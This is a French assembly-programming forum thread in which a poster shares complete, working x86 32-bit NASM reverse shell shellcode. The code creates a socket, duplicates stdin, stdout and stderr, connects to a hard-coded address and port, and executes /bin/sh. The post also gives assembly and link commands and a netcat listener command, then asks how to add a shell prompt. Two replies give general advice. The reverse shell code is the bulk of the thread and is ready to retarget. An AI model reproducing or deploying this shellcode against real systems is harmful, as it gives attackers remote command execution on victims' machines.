IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

x86 32-bits / 64-bits Assembleur Discussion :

Comment ajouter un *prompt* sur du code reverse shell en assembleur - Code déjà fonctionnel


Sujet :

x86 32-bits / 64-bits Assembleur

  1. #1
    Nouveau Candidat au Club
    Homme Profil pro
    Ingénieur sécurité
    Inscrit en
    Octobre 2020
    Messages
    1
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : High Tech - Matériel informatique

    Informations forums :
    Inscription : Octobre 2020
    Messages : 1
    Points : 1
    Points
    1
    Par défaut Comment ajouter un *prompt* sur du code reverse shell en assembleur - Code déjà fonctionnel
    Bonjour je programme un reverse shell en assembleur. Il est fonctionnel mais il me manque le prompt et malgré mes essais je n'arrive pas à le faire.
    J'ai pensé à juste afficher un *$* mais je me dis que c'est tr op simple. Si j'essayais de passer root sur la machine distante est-ce *$* passera à *#*.
    Voici mon code actuel :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
     
     
    global _start
     
    section .text
     
    _start:
     
    	; host
    	push 0x0101017f		; IP Number "127.1.1.1" in hex reverse order
    	pop esi
     
    	; port
    	push WORD 0x03d9	; Port Number 55555 in hex reverse order
    	pop edi
     
     
            ; syscalls (/usr/include/asm/unistd_32.h)
            ; socketcall numbers (/usr/include/linux/net.h)
     
            ; Creating the socket file descriptor
            ; int socket(int domain, int type, int protocol);
            ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
     
    	push 102
    	pop eax			; syscall 102 - socketcall
    	cdq
     
    	push 1
    	pop ebx			; socketcall type (sys_socket 1)
     
    	push edx		; IPPROTO_IP = 0 (int)
    	push ebx		; SOCK_STREAM = 1 (int)
    	push 2			; AF_INET = 2 (int)
     
    finalint:
     
    	mov ecx, esp		; ptr to argument array
    	int 0x80		; kernel interruption
     
    	xchg ebx, eax		; set ebx with the sockfd
     
     
    	; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
    	; int dup2(int oldfd, int newfd);
    	; dup2 (clientfd, ...)
     
    	pop ecx
     
    dup_loop:
            mov al, 63		; syscall 63 - dup2
            int 0x80
     
            dec ecx
            jns dup_loop
     
     
    	; Connecting the duplicated file descriptor to the host
    	; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    	; connect(sockfd, [AF_INET, 55555, 127.1.1.1], 16)
     
    	mov al, 102		; syscall 102 - socketcall
    				; socketcall type (sys_connect) 3 - ebx already has it
     
    	; host address structure
    	push esi		; IP number
    	push di			; port in byte reverse order = 55555 (uint16_t)
    	push WORD 2		; AF_INET = 2 (unsigned short int)
    	mov ecx, esp		; struct pointer
     
    	; connect arguments
    	push 16			; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
    	push ecx		; sockaddr_in struct pointer (struct sockaddr *)
    	push ebx		; socket fd (int)
     
    	mov ecx, esp
     
    	int 0x80
     
            ; Finally, using execve to substitute the actual process with /bin/sh
            ; int execve(const char *filename, char *const argv[], char *const envp[]);
            ; exevcve("/bin/sh", NULL, NULL)
     
            mov al, 11		; execve syscall
     
    	; execve string argument
            push edx		; null-byte
            push 0x68732f2f		; "//sh"
            push 0x6e69622f		; "/bin"
     
            mov ebx, esp		; ptr to ["bin//sh", NULL] string
            push edx		; null ptr to argv
            push ebx		; null ptr to envp
     
    	jmp finalint		; and jump to bingo
    Pour le tester :
    Compilation : nasm -f elf32 reverse.asm && ld -m elf_i386 reverse.osur un autre terminal : nc -lvp 55555

    Nom : help.PNG
Affichages : 359
Taille : 439,2 Ko

  2. #2
    Candidat au Club
    Homme Profil pro
    Inscrit en
    Décembre 2013
    Messages
    19
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations forums :
    Inscription : Décembre 2013
    Messages : 19
    Points : 2
    Points
    2
    Par défaut Re
    Bonjour tout le Monde.

    Dans le cadre de l'utilisation de nasm et qemu:

    Un simple "prompt" sur un écran noir demande une procédure précise.

    Un bootsecteur,un noyau,passage en mode protégé,écriture d'une interruption clavier et écriture en final d'une routine "affichage"....tres simple(je rigole)...

    Cette liste est tres simplifiée...

    Essayes de récupérer le source d'un mini OS écrit en assembleur(MikeOS)...ainsi tu pourra créer ton propre "prompt"....sans te faire des noeuds au cerveau...

    Cordialement.

  3. #3
    Expert éminent sénior
    Avatar de Kannagi
    Homme Profil pro
    cyber-paléontologue
    Inscrit en
    Mai 2010
    Messages
    3 214
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 35
    Localisation : France, Bouches du Rhône (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : cyber-paléontologue

    Informations forums :
    Inscription : Mai 2010
    Messages : 3 214
    Points : 10 140
    Points
    10 140
    Par défaut
    Citation Envoyé par Roudoudou11 Voir le message
    Essayes de récupérer le source d'un mini OS écrit en assembleur(MikeOS)...ainsi tu pourra créer ton propre "prompt"....sans te faire des noeuds au cerveau...
    complètement HS , il est sur Linux qu'est que ça peut lui apporter de faire un truc sans OS , ça va rien lui apprendre. sur ce qu’il essaye de faire.
    secundu , non ce n'est pas forcément compliqué de d'afficher un truc en asm.

    @ cocorapped
    je comprend pas ton soucis , ton soucis ce n'est pas afficher quelque chose si ?

Discussions similaires

  1. Comment ajouter deux domaines sur un AIX
    Par Ohemeg dans le forum AIX
    Réponses: 0
    Dernier message: 03/03/2008, 10h29
  2. comment ajouter une condition if dans code VBA
    Par misig dans le forum Requêtes et SQL.
    Réponses: 1
    Dernier message: 13/12/2007, 00h03
  3. Comment ajouter un scrollbar sur un OLEContainer ?
    Par elreybubu dans le forum Composants VCL
    Réponses: 6
    Dernier message: 11/12/2007, 14h43
  4. Réponses: 1
    Dernier message: 25/04/2006, 16h22

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo